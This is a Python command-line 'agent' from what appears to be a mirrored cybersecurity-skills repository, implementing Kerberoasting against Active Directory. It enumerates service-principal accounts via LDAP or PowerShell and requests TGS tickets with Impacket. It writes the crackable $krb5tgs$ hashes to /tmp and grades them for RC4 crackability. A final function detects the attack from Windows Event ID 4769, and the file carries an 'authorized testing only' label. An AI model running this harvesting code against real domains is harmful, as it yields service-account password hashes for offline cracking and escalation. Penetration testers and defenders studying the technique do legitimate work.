mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-10 21:24:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
176 lines
7.9 KiB
Python
176 lines
7.9 KiB
Python
#!/usr/bin/env python3
|
|
"""Agent for performing Kerberoasting attack simulation and detection — authorized testing only."""
|
|
|
|
import json
|
|
import argparse
|
|
import subprocess
|
|
from pathlib import Path
|
|
|
|
|
|
def enumerate_spn_accounts(domain=None):
|
|
"""Enumerate service principal name (SPN) accounts via LDAP query."""
|
|
cmd = ["ldapsearch", "-x", "-H", f"ldap://{domain}" if domain else "ldap://localhost",
|
|
"-b", f"dc={',dc='.join(domain.split('.'))}" if domain else "",
|
|
"(&(objectClass=user)(servicePrincipalName=*))",
|
|
"sAMAccountName", "servicePrincipalName", "memberOf", "pwdLastSet"]
|
|
try:
|
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
|
accounts = []
|
|
current = {}
|
|
for line in result.stdout.splitlines():
|
|
if line.startswith("dn:"):
|
|
if current:
|
|
accounts.append(current)
|
|
current = {"dn": line[4:].strip()}
|
|
elif line.startswith("sAMAccountName:"):
|
|
current["username"] = line.split(":", 1)[1].strip()
|
|
elif line.startswith("servicePrincipalName:"):
|
|
current.setdefault("spns", []).append(line.split(":", 1)[1].strip())
|
|
elif line.startswith("memberOf:"):
|
|
current.setdefault("groups", []).append(line.split(":", 1)[1].strip())
|
|
if current and current.get("username"):
|
|
accounts.append(current)
|
|
high_value = [a for a in accounts if any("admin" in g.lower() for g in a.get("groups", []))]
|
|
return {
|
|
"domain": domain, "total_spn_accounts": len(accounts),
|
|
"high_value_targets": len(high_value),
|
|
"accounts": accounts[:30],
|
|
}
|
|
except FileNotFoundError:
|
|
return _powershell_spn_enum(domain)
|
|
except Exception as e:
|
|
return {"error": str(e)}
|
|
|
|
|
|
def _powershell_spn_enum(domain):
|
|
"""Fallback SPN enumeration via PowerShell Get-ADUser."""
|
|
cmd = ["powershell", "-Command",
|
|
"Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName,MemberOf,PasswordLastSet | "
|
|
"Select-Object SamAccountName,ServicePrincipalName,PasswordLastSet,@{N='Groups';E={$_.MemberOf}} | "
|
|
"ConvertTo-Json -Depth 3"]
|
|
try:
|
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
|
data = json.loads(result.stdout)
|
|
if isinstance(data, dict):
|
|
data = [data]
|
|
accounts = [{"username": a.get("SamAccountName"), "spns": a.get("ServicePrincipalName", []),
|
|
"password_last_set": a.get("PasswordLastSet"), "groups": a.get("Groups", [])} for a in data]
|
|
return {"total_spn_accounts": len(accounts), "accounts": accounts[:30]}
|
|
except Exception as e:
|
|
return {"error": f"PowerShell fallback failed: {e}"}
|
|
|
|
|
|
def request_tgs_tickets(domain, username=None):
|
|
"""Request TGS tickets for Kerberoasting using Impacket GetUserSPNs."""
|
|
cmd = ["python3", "-m", "impacket.examples.GetUserSPNs",
|
|
f"{domain}/", "-request", "-outputfile", "/tmp/kerberoast_hashes.txt"]
|
|
if username:
|
|
cmd += ["-target-user", username]
|
|
try:
|
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
|
|
hash_file = Path("/tmp/kerberoast_hashes.txt")
|
|
hashes = []
|
|
if hash_file.exists():
|
|
for line in hash_file.read_text().strip().splitlines():
|
|
if line.startswith("$krb5tgs$"):
|
|
parts = line.split("$")
|
|
hashes.append({"hash_type": "krb5tgs", "spn": parts[3] if len(parts) > 3 else "",
|
|
"hash_preview": line[:80] + "..."})
|
|
return {
|
|
"domain": domain, "hashes_captured": len(hashes),
|
|
"output": result.stdout[:500], "hashes": hashes[:20],
|
|
"hash_file": str(hash_file) if hashes else None,
|
|
}
|
|
except FileNotFoundError:
|
|
return {"error": "Impacket not installed — pip install impacket"}
|
|
except Exception as e:
|
|
return {"error": str(e)}
|
|
|
|
|
|
def analyze_kerberoast_hashes(hash_file):
|
|
"""Analyze captured Kerberoast hashes."""
|
|
content = Path(hash_file).read_text(encoding="utf-8", errors="replace")
|
|
hashes = [line.strip() for line in content.splitlines() if line.strip().startswith("$krb5tgs$")]
|
|
enc_types = {"23": 0, "17": 0, "18": 0}
|
|
spns = []
|
|
for h in hashes:
|
|
parts = h.split("$")
|
|
if len(parts) >= 4:
|
|
etype = parts[2] if len(parts) > 2 else "unknown"
|
|
enc_types[etype] = enc_types.get(etype, 0) + 1
|
|
spns.append(parts[3] if len(parts) > 3 else "unknown")
|
|
crackable_rc4 = enc_types.get("23", 0)
|
|
return {
|
|
"total_hashes": len(hashes),
|
|
"encryption_types": enc_types,
|
|
"rc4_crackable": crackable_rc4,
|
|
"aes_hashes": enc_types.get("17", 0) + enc_types.get("18", 0),
|
|
"spn_targets": spns[:20],
|
|
"risk": "HIGH" if crackable_rc4 > 0 else "MEDIUM",
|
|
"recommendation": "Disable RC4 (etype 23) and enforce AES encryption" if crackable_rc4 > 0 else "AES encryption in use — harder to crack",
|
|
}
|
|
|
|
|
|
def detect_kerberoasting(evtx_file=None):
|
|
"""Detect Kerberoasting from Windows Security Event ID 4769."""
|
|
if evtx_file:
|
|
try:
|
|
import Evtx.Evtx as evtx
|
|
import xml.etree.ElementTree as ET
|
|
except ImportError:
|
|
return {"error": "python-evtx not installed — pip install python-evtx"}
|
|
suspicious = []
|
|
with evtx.Evtx(evtx_file) as log:
|
|
for record in log.records():
|
|
xml = record.xml()
|
|
root = ET.fromstring(xml)
|
|
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
|
|
event_id = root.find(".//e:EventID", ns)
|
|
if event_id is not None and event_id.text == "4769":
|
|
data = {d.get("Name"): d.text for d in root.findall(".//e:Data", ns)}
|
|
ticket_enc = data.get("TicketEncryptionType", "")
|
|
if ticket_enc == "0x17":
|
|
suspicious.append({
|
|
"service": data.get("ServiceName"), "client": data.get("TargetUserName"),
|
|
"ip": data.get("IpAddress"), "encryption": "RC4 (0x17)",
|
|
})
|
|
return {"evtx_file": evtx_file, "suspicious_tgs_requests": len(suspicious), "events": suspicious[:20]}
|
|
cmd = ["wevtutil", "qe", "Security", "/q:*[System[EventID=4769]]", "/f:text", "/c:100"]
|
|
try:
|
|
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
|
rc4_count = result.stdout.lower().count("0x17")
|
|
return {"source": "live_event_log", "total_4769_events": result.stdout.count("Event ID"), "rc4_ticket_requests": rc4_count}
|
|
except Exception as e:
|
|
return {"error": str(e)}
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Kerberoasting Attack Agent (Authorized Testing Only)")
|
|
sub = parser.add_subparsers(dest="command")
|
|
e = sub.add_parser("enum", help="Enumerate SPN accounts")
|
|
e.add_argument("--domain", required=True)
|
|
r = sub.add_parser("roast", help="Request TGS tickets")
|
|
r.add_argument("--domain", required=True)
|
|
r.add_argument("--user", help="Target specific user")
|
|
a = sub.add_parser("analyze", help="Analyze captured hashes")
|
|
a.add_argument("--file", required=True)
|
|
d = sub.add_parser("detect", help="Detect Kerberoasting")
|
|
d.add_argument("--evtx", help="EVTX file to analyze")
|
|
args = parser.parse_args()
|
|
if args.command == "enum":
|
|
result = enumerate_spn_accounts(args.domain)
|
|
elif args.command == "roast":
|
|
result = request_tgs_tickets(args.domain, args.user)
|
|
elif args.command == "analyze":
|
|
result = analyze_kerberoast_hashes(args.file)
|
|
elif args.command == "detect":
|
|
result = detect_kerberoasting(args.evtx)
|
|
else:
|
|
parser.print_help()
|
|
return
|
|
print(json.dumps(result, indent=2, default=str))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|